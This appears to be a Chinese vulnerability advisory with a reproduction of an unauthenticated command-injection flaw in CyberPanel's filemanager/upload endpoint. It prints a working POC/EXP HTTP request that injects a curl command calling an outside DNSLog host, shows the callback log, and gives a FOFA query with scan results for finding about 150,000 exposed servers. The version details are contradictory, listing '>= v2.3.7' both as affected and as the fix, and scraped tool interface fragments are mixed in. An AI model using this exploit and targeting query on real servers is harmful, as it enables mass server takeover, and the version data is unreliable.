

CyberPanel filemanagerupload 远程命令执行漏洞

漏洞描述

该漏洞源于filemanager/upload接口未做身份验证和参数过滤，未授权的攻击者可以通过此接口远程加载恶意文件获取服务器权限，从而造成数据泄露、服务器被接管等严重的后果。目前该漏洞技术细节与EXP已在互联网上公开，鉴于该漏洞影响范围较大，建议用户尽快做好自查及防护。

影响版本

CyberPanel >= v2.3.7

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

```
FOFA: app="CyberPanel"

POC/EXP:

POST /filemanager/upload HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----NewBoundary123456789

-----NewBoundary123456789
Content-Disposition: form-data; name="domainName"

-----NewBoundary123456789
Content-Disposition: form-data; name="completePath"

curl http://5zx162b1.eyes.sh
-----NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"
```

pwn
-----NewBoundary123456789--

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1 POST /filemanager/upload HTTP/1.1

2 Host: 5zx162b1.eyes.sh

3 Content-Type: multipart/form-data; boundary=-----NewBoundary123456789

4

5 -----NewBoundary123456789

6 Content-Disposition: form-data; name="domainName"

7

8 <target>

9 -----NewBoundary123456789

10 Content-Disposition: form-data; name="completePath"

11

12 curl: http://5zx162b1.eyes.sh

13 -----NewBoundary123456789

14 Content-Disposition: form-data; name="file"; filename="poc.txt"

15

16 pwn

17 -----NewBoundary123456789--

Responses

https

0bytes / 65ms

美化

详情

1 HTTP/1.1 200 OK

2 Date: Fri, 01 Nov 2024 03:18:40 GMT

3 Server: eHTTP v2.0

4 X-Powered-By: PHP/5.3.6-13ubuntu3.6

5 Set-Cookie: csrftoken=ZQFwMDsn7M7hbQC23194

6

7

DNSLog

WebLog

API

Rebind

Payloads

5zx162b1 退出

删除成功

域名

搜索

子域名: 5zx162b1.eyes.sh

☐ 监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
74965106	5zx162b1.eyes.sh	A	104.131.127	1	日本 数据中心	2024-11-01 11:16:56	删除
74965105	5zx162b1.eyes.sh	A	104.131.87	1	日本 数据中心	2024-11-01 11:16:56	删除
74965104	5zx162b1.eyes.sh	A	104.131.72	1	日本 数据中心	2024-11-01 11:16:56	删除

Previous

1

Next

第1页 / 共1页, 共3条记录

删除所有记录

影响资产超15w,可直接命令执行，危害极大。

FQFA

app="CyberPanel"

会员

支持及工具

4

相关icon(10):

35

20

5

4

3

3

2

2

2

2

更多

全选

all

203,461 条匹配结果 (152,623 条独立IP), 1473 ms, 关键词

☆

↓

API

🗖

网站指纹排名

NTHiD...

192,686

To0ez...

4,920

CjySq...

2,029

zSiAK...

1,407

+cZY3...

612

国家/地区排名

>> 美国

62,255

>> 新加坡

85,618

Header

Products

Login - CyberPanel

美国 / Virginia / As...

HTTP/1.1 200 OK

Connection: close

Content-Length: 21781

修复方案

目前官方已有可更新版本，建议受影响用户升级至最新版本：

CyberPanel >= v2.3.7

官方下载地址：

<https://github.com/usmannasir/cyberpanel/tree/v2.3.7>